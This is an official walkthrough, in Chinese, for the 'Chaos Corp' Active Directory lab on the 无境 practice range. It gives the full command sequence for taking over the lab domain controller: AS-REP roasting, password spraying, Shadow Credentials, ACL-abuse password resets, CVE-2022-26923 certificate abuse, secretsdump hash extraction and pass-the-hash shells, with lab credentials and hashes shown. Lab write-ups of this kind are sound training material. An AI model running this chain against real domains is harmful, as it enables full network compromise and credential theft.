无境靶场 域靶场 Chaos Corp WP

Chaos Corp 靶场已加入无境原创计划,该环境奖励投稿会员 Scarecrow 666元人民币,本文为官方wp,与此同时,该系列第二个靶场Time & Machines 已上架,官方wp发布后,rank与难度将减半。

d2b5ca33bd20260128114559

扫描

image-20260108161021248

该机器有极大可能为DC

匿名获取信息

匿名枚举用户

 
 

image-20260108160247808

尝试其他方法

 
 

image-20260108160637994

获取到以下用户

image-20260108160710969

匿名枚举共享

 
 

image-20260108160320051

访问匿名共享 New

 
 

image-20260108160800590

以 GBK 编码查看文件获取到一个新员工账户

image-20260108160926576

域信息收集

bloodhound 信息收集

Kali 默认没有安装 bloodhound,可以根据下面的文档安装

bloodhound | Kali Linux Tools

 
 

image-20260108162459074

但是这个账号没有利用的东西

image-20260108162630934

asreproast

经过详细的查找,找到了一个用户可以进行 asreproast

image-20260108163050417

 
 

image-20260108163223851

进行密码爆破

 
 

image-20260108163416753

image-20260108163531937

这个账户属于人事部,但是也没有见到利用的路径,只能尝试一下密码喷射域内所有的用户,幸运地获取到 Moly 的密码

 
 

image-20260108163755305

Shadow Credentials

分析 Moly,发现 Moly 对 开发部 这个安全组有 WriteOwner 的权限

image-20260108163956339

暂时考虑为 Shadow Credentials,但是还得看是否满足下面的4个条件

image-20260108171243073

回头看扫描结果,发现有636端口,尝试访问域控证书的端点

curl -k http://192.168.111.10/certsrv/

image-20260108170528531

image-20260108170603243

共享也可以看到开放了证书服务

image-20260108180946180

再看一下系统版本,有可能是 Windows Server 2016

image-20260108170827619

剩下的条件:

能改变某个账号的msDS-KeyCredentialLink属性,就能获得这个账号的TGT和NTLM Hash

certipy-ad find -u 'Moly@sec.org' -p 'mahalkita' -dc-ip 192.168.111.10 -vulnerable

image-20260108171713608

从结果来看好像没有什么有用的信息,那就直接利用试试

# 修改权限
impacket-dacledit \
-action write \
-rights WriteMembers \
-principal 'Moly' \
-target-dn 'CN=Dev,DC=sec,DC=org' \
-dc-ip 192.168.111.10 \
'sec.org/Moly:mahalkita'

image-20260108172036408

# 将 Moly 加入 开发部 这个组
bloodyAD --host 192.168.111.10 -d sec.org -u Moly -p 'mahalkita' set owner '开发部' Moly

image-20260108171940791

certipy-ad shadow auto -u Moly@sec.org -p mahalkita -dc-ip 192.168.111.10 -account Cook

image-20260108172227583

先关闭虚拟机的时间同步,再同步域控时间

image-20260127133818404

请求失败是因为域控和Kali时间差距过大,需要从域控同步时间

# 同步域控时间
ntpdate -4 -b 192.168.111.10
# 再次请求
certipy-ad shadow auto -u Moly@sec.org -p mahalkita -dc-ip 192.168.111.10 -account Cook

image-20260108174827887

如果还是不行,可以尝试

apt install chrony -y
# 编辑配置,取消 pool的注释
vim /etc/chrony/chrony.conf
server 192.168.111.10 iburst
systemctl restart chrony

# 检查源状态
chronyc sources -v
# 手动强制同步
ntpdate -4 -b 192.168.111.10 # 也可以一起使用
chronyc makestep
chronyc tracking

image-20260108175639499

同步成功的判断

# 同步需要点时间,大概三分钟
# chronyc tracking 显示 MS Name(192.168.111.10)一致
# Last 接近 0

image-20260108175137073

ACL 滥用

Cook 对 Jock 有 ForceChangePassword 的权限

image-20260108164239242

先利用 Cook 的 hash 修改 Cook 自身的里面

impacket-changepasswd -hashes :8ac71e8fdb3f7468c3b0d80611dee7e4 sec.org/Cook@192.168.111.10 -newpass '123456'

# 修改 Jock 的密码为 123456
net rpc password "Jock" -U "sec.org"/"Cook"%"123456" -S 192.168.111.10

image-20260108175513019

Jock 对 MHT 有 GenericAll 权限

image-20260108164309568

# 修改 mht 的密码为 123456
net rpc password mht -U 'sec.org'/'Jock'%'123456' -S 192.168.111.10

image-20260108175615872

但是到 MHT 这里,利用的线索又断开了

image-20260108164432578

Certificate Services

mht的线索断开了,但是先尝试使用 Moly 的密码来请求域证书

  1. 查找 CA 名称

certipy-ad find -u 'Moly@sec.org' -p 'mahalkita' -target 192.168.111.10

image-20260108180508190

  1. 请求证书

certipy-ad req -u 'Moly@sec.org' -p 'mahalkita' -target 192.168.111.10 -ca sec-AD-CA -template User

image-20260108180716995

最后逐个尝试,只有 mht 能正常请求证书

certipy-ad req -u 'mht@sec.org' -p '123456' -target 192.168.111.10 -ca sec-AD-CA -template User

image-20260108180820962

只能考虑是否有 ADCS 权限提升漏洞

CVE-2022-26923

  1. 查询是否可以创建计算机账户

ldapsearch -x -H ldap://192.168.111.10 -D 'mht@sec.org' -w '123456' -b 'DC=sec,DC=org' -s base ms-DS-MachineAccountQuota

image-20260108182025951

  1. 添加计算机账户

impacket-addcomputer 'sec.org/mht:123456' -computer-name 'cve' -computer-pass 'cve@123456' -dc-ip 192.168.111.10

image-20260108181159900

  1. 修改 dNSHostName

bloodyAD -d sec.org -u mht -p '123456' --host 192.168.111.10 set object 'CN=cve,CN=Computers,DC=sec,DC=org' dNSHostName -v 'ad.sec.org'

image-20260108181228448

  1. 请求 AD$ 的证书

certipy-ad req -u 'cve$@sec.org' -p 'cve@123456' -target 192.168.111.10 -ca sec-AD-CA -template Machine -ldap-scheme ldap

image-20260108181256487

  1. 证书传递

certipy-ad auth -pfx ad.pfx -dc-ip 192.168.111.10

image-20260108181320196

  1. 导出域内所有哈希

impacket-secretsdump 'sec.org/AD$@192.168.111.10' -hashes :af09c873164ed481ecf0f6230966d0ad -target-ip 192.168.111.10 -just-dc

image-20260108181351448

impacket-wmiexec -hashes :6f4009ffe6f419f6ebef8c5c4495f26f 'sec.org'/Administrator@192.168.111.10 -target-ip 192.168.111.10 -codec gbk

image-20260108181618272

当然 ESC4 + ESC1 也可以利用

certipy-ad template -u 'mht@sec.org' -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -template 'User' -write-default-configuration

certipy-ad req -u mht@sec.org -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -ca 'sec-AD-CA' -template 'User' -upn 'administrator@sec.org' -target 192.168.111.10
© 版权声明
THE END
喜欢就支持一下吧
点赞42赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容